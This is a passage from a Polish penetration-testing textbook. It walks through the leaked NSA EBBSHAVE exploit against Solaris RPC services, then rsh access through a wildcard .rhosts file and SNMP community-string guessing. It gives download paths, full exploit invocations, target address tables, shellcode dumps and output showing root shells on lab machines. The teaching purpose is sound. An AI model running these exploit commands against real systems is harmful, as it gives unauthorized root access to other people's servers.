w samej usłudze RPC, ale w bibliotece XDR, czyli w mechanizmach używanych przez usługi RPC
do przesyłania żądań i danych. Agencja NSA również miała własne narzędzie wykorzystujące tę
podatność, które nosiło nazwę EBBSHAVE.
Sam błąd umożliwia modyfikowanie zawartości pamięci atakowanego komputera, co następnie
pozwala na wykonanie skoku do podanego wskaźnika, realizowane przez wysłanie odpowiedniego
żądania XDR do serwisu RPC. Wykryty błąd został najpierw poprawiony, a następnie wydano do-
kument CVE. W tym czasie właścicielem systemu Solaris OS była już firma Oracle.
Narzędzia agencji NSA pozwalały na wykorzystywanie tej podatności w sposób, który bardzo
utrudniał wykrycie ataku, a co za tym idzie — odkrycie samego błędu. Przyczyną były tutaj wbudo-
wane w program mechanizmy zapobiegające wykryciu, które są znakiem szczególnym wszystkich
narzędzi tworzonych przez agencję. Nawet jeżeli atak się nie powiedzie, sam exploit może masko-
wać swoją obecność i zapisać losowe dane w miejsce dowodów istniejących na zdalnym serwerze.
Już tylko to świetnie ukrywa samą próbę ataku, jak i szczegóły podatności użytej w jego trakcie!

EBBSHAVE — Święty Graal hakerów

Program EBBSHAVE przygotowany przez agencję NSA można pobrać z adresu www.hackerhouse
´book.com/files/ebb.tgz. Po pobraniu skompresowanego archiwum musisz rozpakować pliki, uży-
wając polecenia tar -xvzf ebb.tgz. Wśród rozpakowanych plików znajdziesz trzy pliki binarne:
ebbnew_linux, ebbshave.v4 i ebbshave.v5. Aby uruchomić ten program w 64-bitowym systemie
Kali Linux, musisz mieć zainstalowane biblioteki 32-bitowe. Uzyskasz je za pomocą polecenia
apt-get install lib32z1. Wspomniane trzy pliki zawierają exploity działające w różnych syste-
mach operacyjnych, ale wykorzystujące tę samą podatność. Najpierw przyjrzyjmy się programowi
ebbnew_linux. Po uruchomieniu go za pomocą polecenia ./ebbnew_linux zobaczymy pewne infor-
macje, przedstawione na poniższym wydruku:

3681988c430c7fe1e8567c4e2f281f7b
3
RPC 339

./ebbnew_linux version 2.0

Usage: ./ebbnew_linux [-V] -t <target_ip> -p port

-r <prognum> (RPC program number)
-v <versnum> (version number)
-A <jumpAddr> (shellcode address)
-X|-F (use -X for "indirect"/xdr_replymsg progams, -F for others.
Stop and read the documentation if you do not know what this means.)
[-M <mtu>] (size of data part of packet to send - default is 1260.
Affects LZ size)
[-s <source_port>]
[-c procnum] (procedure number. Defaults to zero)
[-P prog] (optional prog to exec, re-using exploit socket)

Aby skutecznie skorzystać z exploitu, musisz podać mu następujące informacje:

 Adres IP atakowanego komputera.
 Numer portu z nasłuchującym serwisem RPC.
 Numer programu RPC (musi on działać w docelowym systemie).
 Numer wersji tego programu RPC.
 Określony adres w pamięci (czyli coś, czym raczej nie będziemy dysponować!).
W dokumentacji przeczytamy, że użytkownik może podać opcje -X lub -F, zależnie od rodzaju
używanego formatu XDR. Pojawia się w niej nawet takie ostrzeżenie:
„Jeżeli nie wiesz, co to znaczy, to zatrzymaj się i przeczytaj dokumentację”.
Pozostałe opcje wyświetlane przy uruchomieniu exploitu nie są wymagane do jego działania.
Aby użyć tego narzędzia, operatorzy pracujący w NSA musieli znać szczegóły architektury ata-
kowanego systemu, jak również wszystkie detale konfiguracji danej usługi RPC. Przy założeniu, że
podamy programowi właściwe adresy pamięci oraz wybierzemy poprawne opcje, uruchomiony
exploit odpłaci się nam doskonale przygotowanym dostępem do powłoki. Jak można się domyślać,
nauka używania tego narzędzia jest procesem składającym się z wielu prób i błędów, ale nie ma też
wątpliwości, że umożliwiło ono przeprowadzenie wielu skutecznych ataków na powłoki. Istnieje
jednak prostsza metoda używania programu EBBSHAVE, w której program samodzielnie i siłowo
jest w stanie określić niezbędne wartości adresów pamięci.

EBBSHAVE wersja 4.
Program ebbnew_linux wymaga od operatora podania lokalizacji w pamięci, która umożliwi prze-
prowadzenie skutecznego ataku, ale wersja ebbshave.v4 nie ma już takiego wymagania. W tej wersji
programu używane są metody siłowe, aby uzyskać ten sam efekt, co w pierwszym programie. Ta
wersja wypróbowuje po prostu różne adresy w pamięci, aż w końcu natrafi na ten właściwy. Takie
działanie jest możliwe, ponieważ po każdej nieudanej próbie usługa jest uruchamiana ponownie,
co pozwala na wykonanie następnej próby ataku z inną wartością pamięci. Wpisanie samego pole-
cenia ./emmshave.v4 również wypisze informacje o poprawnym używaniu programu, choć tym ra-
zem nie wszystko jest dokładnie objaśniane. Ta wersja może zostać uruchomiona bez konieczności
podawania tak wielu opcji, choć nadal pozwala użytkownikom dokładnie określić cele prowadzo-
nych działań.

3681988c430c7fe1e8567c4e2f281f7b
3
340 Rozdział 10  UNIX

W tekście wypisywanym przez program znajdziesz listę Whackable Targets…. Chodzi tu o taki
rodzaj systemów, które można bardzo skutecznie złamać metodami siłowymi. To właśnie infor-
macje o architekturze oraz numerze wersji systemu Solaris (lub SunOS) sprawiają, że przeprowa-
dzony atak się powiedzie lub nie. Program ebbshave.v4 sprawdza się przy pracy z wybranymi sys-
temami SPARC i x86, które są podawane w tabeli wypisanej przez program.
Jedną z metod zbierania informacji na temat architektury atakowanego komputera oraz nu-
meru wersji systemu operacyjnego jest uruchomienie polecenia uname (zakładamy, że już udało Ci
się uzyskać dostęp do powłoki z prawami zwykłego użytkownika). Dopisanie do polecenia opcji
-a spowoduje wyświetlenie wszystkich niezbędnych informacji. Jeżeli zostanie ono wprowadzone
w naszej maszynie wirtualnej systemu Solaris, to uzyskamy poniższe informacje:
SunOS unixserver01 5.10 Generic_118855-14 i86pc i386 i86pc

Widać od razu, że jest to komputer z procesorem firmy Intel (mówi o tym oznaczenie i386).
Za pomocą skanowania programem Nmap poznamy dodatkowo porty, na których działają usługi
RPC. Te same informacje można też uzyskać za pomocą enumerowania i testowania wyznaczonych
wcześniej portów.
Jeżeli natkniesz się na system Solaris w wersji niższej niż 11, to program EBBSHAVE na pewno
da Ci dostęp do powłoki. Zademonstrujemy teraz jego działanie w praktyce. Mimo że nie musimy
podawać dokładnej lokalizacji w pamięci, nadal konieczne jest określenie architektury oraz zakresu
adresów w pamięci. Program będzie próbował stosować różne adresy w podanym zakresie, aż do
znalezienia tego właściwego.
Programowi można podać jeszcze inne opcje. Przykładem niech będzie opcja -C, która według
opisu podawanego przez program oznacza /core file overwriter/scrambler, using random data
as shellcode. Użycie jej spowoduje, że program będzie automatycznie próbować zamaskować
swoje własne działania, gdy będzie doprowadzał do awarii serwisu w czasie poszukiwania właści-
wego adresu w pamięci. Gdy próba ataku się nie powiedzie, kod podawany do powłoki zostanie
nadpisany losowymi danymi.
Ten rodzaj działania programu nie jest czymś, co pojawia się w zwyczajnych narzędziach wspo-
magających przeprowadzanie testów penetracyjnych. Z drugiej strony takie mechanizmy są często
stosowane przez narzędzia pochodzące z agencji NSA. Chodzi przecież o to, żeby unikać wykrycia
i jak najdłużej nie ujawniać sposobu działania exploitu oraz wykorzystywanej przez niego podat-
ności. Większość exploitów i narzędzi nie jest aż tak rozbudowana, ale też nieczęsto mamy okazję
przyglądać się działaniu oprogramowania szpiegowskiego.
W tym przykładzie zajmujemy się systemem Solaris 10, a z listy wartości wypisywanych przez
sam program z pewnością uda Ci się wybrać wartość odpowiednią dla takiego ataku.
-T Software Service & Architecture Start Address End Address Addr Bump
== ======== ====================== ============= =========== =========
0 2.9 some SPARC sun4u 0xffbffa00 0xffbffd00 8 bytes
1 2.9 some SPARC sun4m 0xeffffa00 0xeffffd00 8 bytes
2 2.9 some x86 i86pc 0x08047b00 0x08047e00 4 bytes
3 2.8 all... SPARC sun4u 0xffbefa00 0xffbefd00 8 bytes
4 2.8 all... SPARC sun4[cm] 0xeffffa00 0xeffffd00 8 bytes
5 2.8 all... x86 i86pc 0x08047b00 0x08047e00 4 bytes
6 2.7 100002 SPARC sun4[*] 0x00028400 0x0002d100 8 bytes
7 2.7 100002 x86 i86pc 0x08051700 0x08055000 4 bytes

3681988c430c7fe1e8567c4e2f281f7b
3
RPC 341

8 2.7 100221 SPARC sun4[*] 0x00029100 0x0002df00 8 bytes

9 2.7 100221 x86 i86pc 0x08052000 0x08056000 4 bytes
10 2.7 100229 SPARC sun4[*] 0x0006c400 0x00071100 8 bytes
11 2.7 others SPARC sun4u 0xffbefa00 0xffbefd00 8 bytes
12 2.7 others SPARC sun4[cm] 0xeffffa00 0xeffffd00 8 bytes
13 2.7 others x86 i86pc 0x08047c00 0x08047e00 4 bytes
14 2.6 all... SPARC sun4[cmu] 0xeffffa00 0xeffffd00 8 bytes
15 2.6 all... SPARC sun4d 0xdffffa00 0xdffffd00 8 bytes
16 2.6 all... x86 i86pc 0x08047c00 0x08047e00 4 bytes

W naszym ataku użyjemy opcji numer 2. W tabeli widać, że jest to wersja oprogramowania
równa 2.9, natomiast jako architektura jest określona na x86. Mimo że testujemy tutaj hosta z sys-
temem Solaris 10, to jednak wersje 2.9 i 2.8 działające na procesorze x86 używają podobnych za-
kresów pamięci, dzięki czemu exploit przygotowany dla systemu z numerem 8 lub 9 będzie działał
doskonale również w wersji 10.
Następnie musimy podać numer portu, używając do tego opcji -u. To na tym porcie powinien
działać program RPC, który chcielibyśmy zaatakować. W teorii moglibyśmy użyć dowolnego pro-
gramu RPC działającego na tym systemie. Jeżeli chcesz wyszukać takie programy działające z na-
szym exploitem, to uruchom program RPCinfo. My przetestowaliśmy działanie exploitu na pro-
gramie RPC o nazwie metamhd. Oto najważniejsze informacje zwrócone przez ten program po
wpisaniu polecenia rpxinfo -p <AdresIP>.
program vers proto port service
100230 1 tcp 32775

Ten program działa na porcie 32775, dlatego uruchamiając program ebbshave.v4, należy podać
parametr -n 32775 oraz parametr -t, aby wprowadzić numer portu RCP (możesz też dodać opcję
-u, aby program używał protokołu UDP). Jako parametr wywołania programu trzeba podać adres
IP atakowanego komputera oraz numer programu, przez który mamy zamiar przeprowadzić atak.
W tym przypadku użyjemy programu o numerze 100230. Ostatnim parametrem naszego polecenia
jest liczba 1, która oznacza numer wersji programu RPC. To wszystkie informacje, jakie trzeba po-
dać programowi, aby ten mógł skutecznie działać. Oto całość wywołania tego programu:
./ebbshave.v4 -T 2 -n 32775 -t 192.168.48.107 100230 1

Po uruchomieniu tego polecenia przy założeniu, że dane atakowanego systemu się zgadzają,
na ekranie zobaczysz informacje podobne do poniższych:
Throwing Solaris 2.9 exploit, hoping target matches --> Sun some x86 i86pc
Attack address range will be <0x08047b00> through <0x08047e00>, address
bump will be <4> bytes
This attack will involve a maximum of 192 total attempt(s)...
** NOTE **
** NOTE ** Pause between throws set to 2 seconds for Solaris 2.9
** NOTE **
Attacking directly via TCP port:32775

TCP -> Going to IP:<192.168.48.107>...

0x08047b00...cored on target
0x08047b04...cored on target
0x08047b08...cored on target

3681988c430c7fe1e8567c4e2f281f7b
3
342 Rozdział 10  UNIX

Co kilka sekund program będzie wypisywał wiersz z komunikatem cored in targed, który
oznacza próbę z podanym adresem pamięci. Kolejne adresy wybierane są z krokiem co 4 bajty.
W końcu powinny pojawić się też komunikaty podobne do poniższych:
0x08047d4c...cored on target
0x08047d50...RPC_TIMEDOUT: Hopefully we'll have a shell shortly...

You should now be connected to a /bin/sh on host:<192.168.48.107>

If so, you nailed <100230> on <192.168.48.107> with address <0x8047d50>
on attempt <149>...
>>> Have a great day <<<
id
uid=0(root) gid=1(other)

Jeżeli atak się powiedzie, to exploit umieści własny kod w pamięci atakowanego komputera
i udostępni nam konsolę, używając do tego serwisu RPC. Nasz exploit wykorzystał program RPC
(metamhd) działający na porcie TCP 32775, aby w systemie Kali Linux otworzyć zdalny dostęp do
konsoli. Zauważ też, że w powyższym wydruku kończący pracę exploit życzy nam dobrego dnia
(Have a great day), czego raczej nie spotyka się w modułach z frameworku Metasploit. Poza tym
widać też, że uruchomiono polecenie id, które potwierdziło, że mamy uprawnienia użytkownika root.

EBBSHAVE wersja 5.
Według informacji wypisywanych przez program (pojawiają się, jeżeli uruchomimy go, nie podając
żadnych parametrów) EBBSHAVE wersja 5. (ebbshave.v5) jest „programem opakowującym
exploit ebbnew_linux, umożliwiającym atakowanie serwisów RPC w systemie Solaris na platformie
Sparc”. Jeżeli chcesz zaatakować system w tej konfiguracji, to będzie to dla Ciebie idealne narzędzie.
Niestety nie zadziała on w przypadku systemów Solaris x86, a taki działa w naszej maszynie wirtualnej.
Aby przeprowadzić ten atak, należy podać parametr -o (określa atakowany serwis), -v (numer
wersji programu, który chcemy wykorzystać), -t (adres IP atakowanego hosta) oraz -p (numer
portu). Na początku poniższego polecenia do zmiennej środowiskowej PATH dodawany jest aktu-
alny katalog (./), aby uruchomiony program mógł odnaleźć plik ebbnew_linux:
PATH=./ ./ebbshave.v5 -o 1 -v 1 -t <AdresIP> -p 32775

Jeżeli uruchomisz to polecenie, to zobaczysz, że do serwera wysyłane są proste żądania RPC.

Jeżeli byłby to host w architekturze SPARC, to na pewno udałoby się wykorzystać tę podatność.

Debugowanie programu EBBSHAVE

Istnieje możliwość takiego uruchomienia programu ebbshave.v4, żeby wypisywał dodatkowe
komunikaty debugowania opisujące zawartość pakietów przesyłanych do atakowanego systemu
Solaris. Taka analiza pozwala dowiedzieć się, w jaki sposób przeprowadzany jest ten atak. Użyj
zatem przedstawionego wcześniej polecenia, ale uzupełnij je o parametr -V, który włącza dodat-
kowe komunikaty i umożliwia podglądanie zawartości wszystkich wysyłanych żądań. Te same in-
formacje można oczywiście uzyskać też za pomocą programu Wireshark.
./ebbshave.v4 –V –T 2 –n 32775 –t 192.168.11.220 100230 1

3681988c430c7fe1e8567c4e2f281f7b
3
RPC 343

Po zakończeniu siłowego ataku na serwis RPC na ekranie powinny być widoczne takie komunikaty:
0x08047d50...<0xffe98e20:0x0000>: 0x5f0c97d0 0x00000003 0x73756e00
0x00000000 >> _... .sun <<
<0xffe98e30:0x0010>: 0x00000001 0x00000040 0x09ebc033 0xab47575f >>
. @...3.GW_ <<
<0xffe98e40:0x0020>: 0xeb5eaa47 0xfff2e80d 0xff9affff 0x07ffffff >>
.^.G............ <<
<0xffe98e50:0x0030>: 0x5f56c3ff 0x577cef83 0xb0104f8d 0x91abab91 >>
_V..W|....O..... <<
<0xffe98e60:0x0040>: 0x54b595ab 0x10b96651 0xc0335101 0xd6ff36b0 >>
T.....fQ.3Q...6. <<
<0xffe98e70:0x0050>: 0x3bdb3359 0x660a75c3 0x90e2bbbb 0x74909090 >>
;.3Yf.u.....t... <<
<0xffe98e80:0x0060>: 0xebe6e202 0xb0eb9006 0x6a909090 0xb1915109 >>
........j.....Q. <<
<0xffe98e90:0x0070>: 0x4c894903 0x33410824 0xff3eb0c0 0xebf2e2d6 >>
L.I.3A.$.>...... <<
<0xffe98ea0:0x0080>: 0x58d23312 0x5714788d 0xab92ab50 0xb0084288 >>
X.3.W.x....P..B. <<
<0xffe98eb0:0x0090>: 0xe8d6ff0b 0xffffffe9 0x6e69622f 0x68736b2f >>
........nib/hsk/ <<
<0xffe98ec0:0x00a0>: 0x00000000 0x90909090 0x90909090 0x90909090 >>
............ <<
<0xffe98ed0:0x00b0>: 0x08047d38 0x90909090 0x90909090 0x90909090 >>
..}8............ <<
<0xffe98ee0:0x00c0>: 0x90909090 0x90909090 0x90909ceb 0x90909090 >>
................ <<
<0xffe98ef0:0x00d0>: 0x90909090 0x90909090 0x90909090 0x90909090 >>
................ <<
<0xffe98f00:0x00e0>: 0x90909090 0x90909090 0x90909090 0x90909090 >>
................ <<
<0xffe98f10:0x00f0>: 0x90909090 0x90909090 0x90909090 0x90909090 >>
................ <<
<0xffe98f20:0x0100>: 0x90909090 0x90909090 0x90909090 0x90909090 >>
................ <<
<0xffe98f30:0x0110>: 0x90909090 0x90909090 0x90909090 0x90909090 >>
................ <<
<0xffe98f40:0x0120>: 0x90909090 0x90909090 0x90909090 0x90909090 >>
................ <<
<0xffe98f50:0x0130>: 0x90909090 0x90909090 0x90909090 0x90909090 >>
................ <<
<0xffe98f60:0x0140>: 0x90909090 0x90909090 0x90909090 0x90909090 >>
................ <<
<0xffe98f70:0x0150>: 0x90909090 0x90909090 0x90909090 0x90909090 >>
................ <<
<0xffe98f80:0x0160>: 0x90909090 0x90909090 0x90909090 0x90909090 >>
................ <<
<0xffe98f90:0x0170>: 0x90909090 0x90909090 0x90909090 0x90909090 >>
................ <<
RPC_TIMEDOUT: Hopefully we’ll have a shell shortly...

You should now be connected to a /bin/sh on host:<192.168.11.220>

If so, you nailed <100230> on <192.168.11.220> with address <0x8047d50>
on attempt <149>...
>>> Have a great day <<<
id
uid=0(root) gid=1(other)

3681988c430c7fe1e8567c4e2f281f7b
3
344 Rozdział 10  UNIX

Na tym wydruku wyróżniliśmy kilka informacji, a przede wszystkim adres pamięci 0x08047d38.
Podczas wykorzystywania podatności związanych z modyfikowaniem pamięci najczęściej do pa-
mięci zewnętrznego programu wstawiane są odpowiednie wskaźniki. Takie wskaźniki nakazują
komputerowi wykonanie kodu znajdującego się pod określonym adresem w pamięci. Wyróżniony
w tym miejscu adres nazywany jest też adresem zwrotnym. Tego rodzaju wskaźniki używane są
podczas ataków związanych z modyfikowaniem pamięci, na przykład wynikających z przepełnienia
bufora, i informują komputer o tym, jaką instrukcję ma wykonać w kolejnym kroku. Takie infor-
macje są zwykle zapisywane w specjalnym rejestrze procesora nazywanym wskaźnikiem instrukcji,
którego zadaniem jest przechowywanie informacji o tym, skąd procesor ma pobrać następny wiersz
kodu, czyli instrukcji. To właśnie ten adres jest siłowo wyszukiwany w momencie, gdy exploit łączy
się ze zdalnym systemem, i dlatego widzimy zwiększającą się wartość adresu przy każdej kolejnej
próbie ataku. To podstawa działania wszystkich exploitów modyfikujących pamięć. Nadpisują za-
wartość pamięci po to, żeby w pamięci zdalnego programu umieścić wskaźnik nakazujący załado-
wanie instrukcji z innego miejsca w pamięci, w którym znajduje się kod przesłany przez atakują-
cego. Zauważ, że ten adres w pamięci różni się od adresu znalezionego przez nasz program exploitu,
który twierdzi, że do uruchomienia powłoki użyty został adres 0x08047d50. Wyróżniliśmy też war-
tości 0x6e69622f 0x68736b2f, ponieważ są one ciągiem znaków /bin/ksh zapisanym szesnastkowo.
Okazuje się, że ten ciąg znaków zapisywany jest wspak, co wynika ze specyfiki atakowanego sys-
temu. Sam ciąg znaków określa program, który ma zostać uruchomiony przez zdalną usługę RPC
i jest częścią payloadu naszego exploitu. Każdy z systemów może zostać zaprojektowany do dzia-
łania w trybie big endian lub little endian. Te nazwy opisują sposób szeregowania bajtów w pamięci
hosta. Systemy firmy Intel działają w trybie little endian, co oznacza, że na początku zapisywany
jest bajt o najmniej znaczącej wartości, co sprawia wrażenie, że liczby są odwrócone, jeżeli próbu-
jemy je czytać od lewej do prawej. Na zakończenie wyróżniliśmy jeszcze wartość 0x90909090, która
oznacza kody operacji (opcodes) reprezentujące instrukcję nop (czyli instrukcję braku operacji).
Taka instrukcja nakazuje procesorowi powstrzymać się od działania i od razu przejść do kolejnej
instrukcji w pamięci. Pozostałe bajty z tego wydruku zawierają dane żądania XDR RPC oraz sa-
mego payloadu (który w tym przypadku nazywany jest shellcode, czyli kodem powłoki) zawierają-
cego przygotowane bajty programu, który zmusi usługę RPC do uruchomienia powłoki. Po wysła-
niu żądania przez exploit przeprowadzony atak spowoduje, że zdalna usługa RPC uruchomi program,
a on uruchomi kod znajdujący się w pamięci komputera wskazywany przez podstawiony wskaźnik.
Instrukcje NOP zostały tu użyte jako zabezpieczenie przed zamknięciem programu w wyniku błę-
dów wynikających z prób wykonania instrukcji przesuniętej o więcej niż jeden bajt. Gdy atakowany
program zostanie już zmuszony do wykonania kodu pod wskazanym adresem pamięci, tak na-
prawdę uruchomiony zostanie kod powłoki przesłany przez nasz exploit. Ten kod powłoki jest ma-
łym programem, który nakazuje komputerowi uruchomić powłokę /bin/ksh, a nie program wy-
mieniony w żądaniu. Ten exploit jest szczególnie interesujący, ponieważ nie wymaga stosowania
odwróconej powłoki, ale wykorzystuje połączenie ustanowione przez program RPC i za jego po-
mocą realizuje zdalny interpreter powłoki. Jeżeli chcesz dowiedzieć się więcej na temat wykorzy-
stywania błędów niskopoziomowych, to musisz przeczytać artykuł Smashing The Stak autorstwa
Alepha One’a, opublikowany w magazynie Phrack. Jest to magazyn publikujący artykuły z półświatka
komputerowego i społeczności hakerów. Pojawia się zawsze wtedy, gdy się pojawia, ale ma już długą
historię fascynująco szczegółowych artykułów zajmujących się programowaniem niskopoziomowym
oraz podatnościami istniejącymi w systemach komputerowych. Sam artykuł można pobrać z ad-
resu https://phrack.org/issues/49/14.html. Bardzo polecamy tę lekturę.

3681988c430c7fe1e8567c4e2f281f7b
3
Usługi R-services 345

Usługi R-services
Porty TCP 512, 513 i 514 są siedzibą usług z rodziny R-services (gdzie litera R oznacza „remote”,
czyli zdalny). Dzisiaj raczej już nie zobaczymy ich w publicznych systemach, ale dawniej były one
powszechnie używane w takich systemach jak IBM AIX, HP-UX i Solaris, ponieważ umożliwiały
zdalny dostęp podobny do świadczonego dzisiaj przez usługę SSH. W rodzinie R-services znajdują
się trzy programy: rsh, rlogin i rexec. Działają one na portach w tej kolejności: TCP 512, 513 i 514.
Raczej łatwo można się domyślić, do czego służy każdy z tych programów: rsh działa jako zdalna
powłoka (można powiedzieć, że jest prekursorem dzisiejszego SSH), rlogin umożliwia zalogowa-
nie użytkownika w systemie bez podawania nazwy użytkownika i hasła, o ile jest już zalogowany
w systemie klienckim. Z kolei rexec pozwala użytkownikom na zdalne uruchamianie programów
na danym hoście (to przecież takie niewinne…). Zapisany na serwerze plik .rhosts pozwala zdefi-
niować listę klientów uprawnionych do połączenia się z usługą.
Jedną z metod wykorzystania usługi rsh jest pobranie, skompilowanie i uruchomienie pliku
dostępnego pod adresem www.hackerhousebook.com/files/rshx.c. To niewielki program w języku
C, który został napisany tak, aby wykorzystać usługę rsh umożliwiającą stosowanie pustych haseł
albo ze źle skonfigurowanym plikiem .rhosts. Pamiętaj, że kod programu możesz (a nawet musisz)
przejrzeć za pomocą edytora tekstowego, takiego jak nano lub vim, a następnie skompilować za
pomocą polecenia gcc rshx.c -o rshx. Uruchomienie programu (./rshx) bez podawania mu pa-
rametrów spowoduje wypisanie informacji o prawidłowym używaniu tego programu.
Use with <host> <username> "command"

Musisz podać w parametrach adres IP hosta, następnie wprowadzić znaną nazwę użytkownika oraz
polecenie, które chcesz uruchomić w zdalnym systemie. Jeżeli użyjesz polecenia ./rshx 192.168.48.107
helpdesk id, aby zaatakować maszynę wirtualną Solaris (w tym systemie istnieje użytkownik helpdesk),
to zobaczysz taką odpowiedź:
uid=100(helpdesk) gid=1(other)

Udało się poprawnie wywołać polecenie id. Sprawdźmy zatem, jak zadziałała nasza mała sztuczka,
bo przecież nie podawaliśmy żadnego hasła. W tym systemie plik .rhosts należący do użytkownika
helpdesk (można przejrzeć jego zawartość po użyciu polecenia ./rshx 192.168.48.107 helpdesk
"cat .rhosts") zawiera tylko jeden wiersz tekstu:
+ +

To wszystko — dwa znaki dodawania rozdzielone znakiem spacji. Znak dodawania jest tu zna-
kiem wieloznacznym i oznacza, że dostęp do tego konta (poprzez usługę rsh) może uzyskać do-
wolny użytkownik z dowolnym adresem IP. Jeżeli spróbujemy w podobny sposób uzyskać dostęp
do konta użytkownika root (./rshx <AdresIP> root "cat .rhosts"), to zobaczymy tylko komu-
nikat o odmowie dostępu. Oznacza to, że w pliku .rhosts użytkownika root nie zdefiniowano tak
ogólnych praw dostępu. W tym miejscu konfiguracja jest poprawna.
Z tego można wyciągnąć jeszcze jedną lekcję. Często zdarza się, że w systemie definiowane jest
pewne ogólne konto użytkownika, takie jak helpdesk lub suport, które ma umożliwiać pracowni-
kom firmy łatwy dostęp do systemu, niezależnie od miejsca, w którym pracują. Nie mówimy teraz
o samej usłudze rsh, ale o dowolnym serwisie (również SSH) lub narzędziach administracyjnych
działających w przeglądarce. Zwykle konto użytkownika root nie będzie pozwalało na tak proste

3681988c430c7fe1e8567c4e2f281f7b
3
346 Rozdział 10  UNIX

uzyskanie dostępu i dlatego administratorzy danej organizacji będą uważali, że cała sieć jest „wy-
starczająco zabezpieczona”. Niestety umożliwienie dostępu dowolnemu użytkownikowi systemu
bardzo ułatwia pracę hakera, ponieważ teraz musi już tylko znaleźć w systemie lukę umożliwiającą
podniesienie swoich uprawnień.

Protokół SNMP
Protokół SNMP (Simple Network Management Protocol — prosty protokół zarządzania siecią) zo-
stał opisany w dokumencie RFC 3411. Jak sugeruje jego nazwa, jest protokołem umożliwiającym
przeprowadzanie prostych operacji administracyjnych na hostach w danej sieci. Host zarządzający
(ang. manager host) ma możliwość wysyłania zapytań do klientów, nazywanych też urządzeniami
zarządzanymi, i pobierać od nich listy zmiennych ułożonych według pewnej hierarchii. Te zmienne
mogą dotyczyć dowolnych elementów niezbędnych do prowadzenia konserwacji danego hosta,
przy czym takimi hostami są zwykle routery, przełączniki, drukarki i czasami serwery. Poszcze-
gólne zmienne można nie tylko odczytywać, ale też zapisywać w nich nowe wartości, a zatem kon-
figuracja danego urządzenia może być zdalnie modyfikowana za pomocą tak zwanej tabeli MIB.
Najnowsza wersja protokołu (wersja 3.) umożliwia stosowanie szyfrowania i uwierzytelniania,
ale pierwsze wersje po prostu ufały użytkownikom swojej sieci. Te protokoły uznawały, że wszyst-
kie hosty wewnętrznej sieci są przyjaznymi sąsiadami. W protokole używane są tak zwane „nazwy
ogólne” o maksymalnej długości siedmiu znaków, które miały służyć do określania pozwoleń dla
użytkowników na wprowadzanie zmian w zmiennych. Zazwyczaj jedna z nazw używana jest do
odczytywania zmiennych z urządzenia, natomiast osobna nazwa umożliwia zapisywanie wartości
do tych zmiennych. W tym kontekście często używane są nazwy „public” (pozwala na odczytywa-
nie zmiennych) oraz „private” (pozwala na zapisywanie zmiennych). Stosowane są też różne wa-
rianty nazwy organizacji oraz inne ciągi znaków, których odgadnięcie zwykle nie jest trudne, jeżeli
przeprowadzimy analizę atakowanej sieci.
Od drugiej wersji protokołu możliwe jest stosowanie właściwych metod uwierzytelniania użyt-
kowników, ale ta funkcja nie była domyślnie włączona i wiele organizacji nadal korzystało z nazw
ogólnych. Jeżeli na danym hoście działa serwis SNMP, w którym nie ma włączonej funkcji pełnego
uwierzytelniania użytkowników, to istnieje w nim potencjał do wprowadzenia sporego zamiesza-
nia. Taki host pozwala na przykład na zmianę zawartości tabeli ARP, co umożliwi przekierowanie
ruchu sieciowego na innego hosta w sieci wewnętrznej. Protokół SNMP używa portu UDP 161,
poprzez który przesyła i odbiera komunikaty między urządzeniem zarządzanym i zarządzającym.
Używany jest również port UDP 162, ale ma on mniejsze znaczenie.
Istnieje program o nazwie OneSixtyOne, który na stronie podręcznika man nazywany jest
„szybkim i prostym skanerem SNMP”. Można go wykorzystać do zgadywania (metodami siło-
wymi) ogólnych nazw stosowanych w konfiguracji sieci. Trzeba mu tylko podać plik z nazwami
do wypróbowania, używając poniższego polecenia:
onesixtyone -c <PlikZNazwamiDoWypróbowania> <AdresIP>

Użyliśmy tego polecenia, wskazując mu hosta z usługą SNMP i podając plik zawierający 11 nazw
ogólnych, w tym i nazwy public oraz private. Poniżej przedstawiamy uzyskane wyniki. Okazało się,
że w tym przypadku host rzeczywiście używa obu tych nazw.

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół SNMP 347

Scanning 1 hosts, 11 communities

192.168.48.105 [public] Linux fileserver01 3.2.0-4-486 #1 Debian
3.2.78-1 i686
192.168.48.105 [private] Linux fileserver01 3.2.0-4-486 #1 Debian
3.2.78-1 i686

Po potwierdzeniu ogólnej nazwy używanej przez usługę możesz skorzystać z innego narzędzia,
takiego jak SNMPcheck, aby spróbować połączyć się z tą usługą za pomocą pierwszej wersji proto-
kołu, używając przy tym wykrytej przed chwilą nazwy ogólnej. Wykorzystaj do tego poniższy for-
mat polecenia:
snmp-check -c public -v1 <AdresIP>

Jeżeli program SNMPcheck nie jest jeszcze zainstalowany w Twojej maszynie wirtualnej Kali
Linux, to możesz go zainstalować poleceniem apt install snmpcheck. Sam program jest urucha-
miany za pomocą nazwy zawierającej w środku znak odejmowania. Jeżeli uruchomiony program
wykona swoje zadanie, to na ekranie zobaczysz informacje podobne do przedstawionych poniżej.
Pamiętaj, że najpierw musisz znaleźć dla tego programu właściwy cel.
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni ( www.nothink.org )

[+] Try to connect to 192.168.48.105:161 using SNMPv1 and community 'public'

[*] System information:

Host IP address : 192.168.48.105

Hostname : fileserver01
Description : Linux fileserver01 3.2.0-4-486 #1
Debian 3.2.78-1 i686
Contact : Me < me@example.org >
Location : Sitting on the Dock of the Bay
Uptime snmp : 00:21:43.77
Uptime system : 00:21:34.13
System date : 2019-6-13 10:31:44.0

Jak widać, program wypisuje kilka informacji na temat hosta, w tym nazwę zainstalowanego
systemu, numer wersji jądra oraz czas pracy systemu. W zależności od rodzaju systemu, któremu
wysyłasz zapytanie, oraz jego konfiguracji możesz otrzymywać inne informacje. Oto wycinek wy-
druku tworzonego przez program SNMPcheck sprawdzający host z systemem Solaris 10, który po-
daje ilość zainstalowanej i używanej pamięci operacyjnej oraz miejsca na dysku:
Description : ["Real Memory"]
Device id : [#<SNMP::Integer:0x000056297e202be8 @ value=101>]
Filesystem type : ["unknown"]
Device unit : [#<SNMP::Integer:0x000056297e2003e8 @ value=4096>]
Memory size : 1023.56 MB
Memory used : 262.57 MB
Description : ["Swap Space"]
Device id : [#<SNMP::Integer:0x000056297e1ddaa0 @ value=102>]
Filesystem type : ["unknown"]
Device unit : [#<SNMP::Integer:0x000056297e1db818 @ value=4096>]
Memory size : 1.30 GB
Memory used : 160.53 MB

3681988c430c7fe1e8567c4e2f281f7b
3
348 Rozdział 10  UNIX

Ewok
Agencja NSA zorientowała się, że udostępniane serwisy SNMP dają spory potencjał do włamań,
